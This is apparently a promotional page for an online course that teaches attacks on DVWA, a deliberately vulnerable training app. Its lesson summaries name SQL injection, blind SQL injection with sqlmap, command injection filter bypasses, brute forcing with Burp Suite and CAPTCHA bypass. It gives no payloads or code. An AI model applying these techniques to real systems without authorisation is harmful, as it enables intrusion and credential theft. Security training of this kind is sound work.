Master web app security with DVWA through ethical labs. Learn to exploit and defend vulnerabilities like SQL injection and command injection across low, medium and high security levels using Docker.
Set up DVWA lab using Docker and Kali, clone repo, install Docker, start devtool, log in with admin/password, and create or reset the database for web app security testing.
Discover how to perform a brute force attack using burp suite on a low-security dvwa page, testing usernames and passwords with intruder payloads to identify successful logins by response length.
Test command injection at high security to reveal weak blacklist controls in web app input handling. Learn how pipe injections bypass protections and expose the current directory.

Learn how to bypass a low-security captcha in DVWA by manipulating the step flow and using interception to change steps and update the password.
Explore SQL injection at the low security level in DB2, showing how unsanitized inputs expose user data and reveal database structure through union selects and schema queries.
Explore sql injection at medium security level, showing how a real escape function partly filters input and how burp suite can reveal the admin username and password hash.
Perform a blind SQL injection on a medium-security app, verify with a time-based payload using Burp Suite, then use sqlmap to enumerate databases, tables, and credentials.
Perform a high-security blind SQL injection on the DVWA database, testing true and false conditions to confirm vulnerability. Automate with sqlmap and Burp Suite to enumerate databases, tables and credentials.
Are you ready to take your first step into the world of web application hacking? This course, DVWA for Ethical Hackers: Master Web App Attacks, is your hands-on guide to mastering real-world web vulnerabilities using the Damn Vulnerable Web Application (DVWA).
DVWA is a deliberately insecure application that provides a legal and safe environment to practice web security testing. In this course, you’ll learn to exploit a wide range of vulnerabilities found in real-world web apps. From SQL Injection and Cross-Site Scripting (XSS) to Cross-Site Request Forgery (CSRF), Command Injection, File Upload flaws, and JavaScript-based vulnerabilities, you’ll understand how these attacks work and how to perform them step-by-step.
What sets this course apart is its practical approach. We don’t just show you theory—we walk you through attacks on DVWA across three security levels: Low, Medium, and High, helping you understand how web defenses evolve and how hackers adapt. Each module is structured to demonstrate the vulnerability, exploit it, and then discuss how it can be mitigated.
Whether you're an aspiring ethical hacker, a cybersecurity student, or a developer who wants to build more secure applications, this course will give you a strong foundation in offensive web security.
By the end of the course, you’ll be confident in using DVWA as a training ground to sharpen your skills, identify vulnerabilities, and understand the mindset of an attacker.
Join now and start your journey to becoming a skilled web application hacker—ethically and legally.
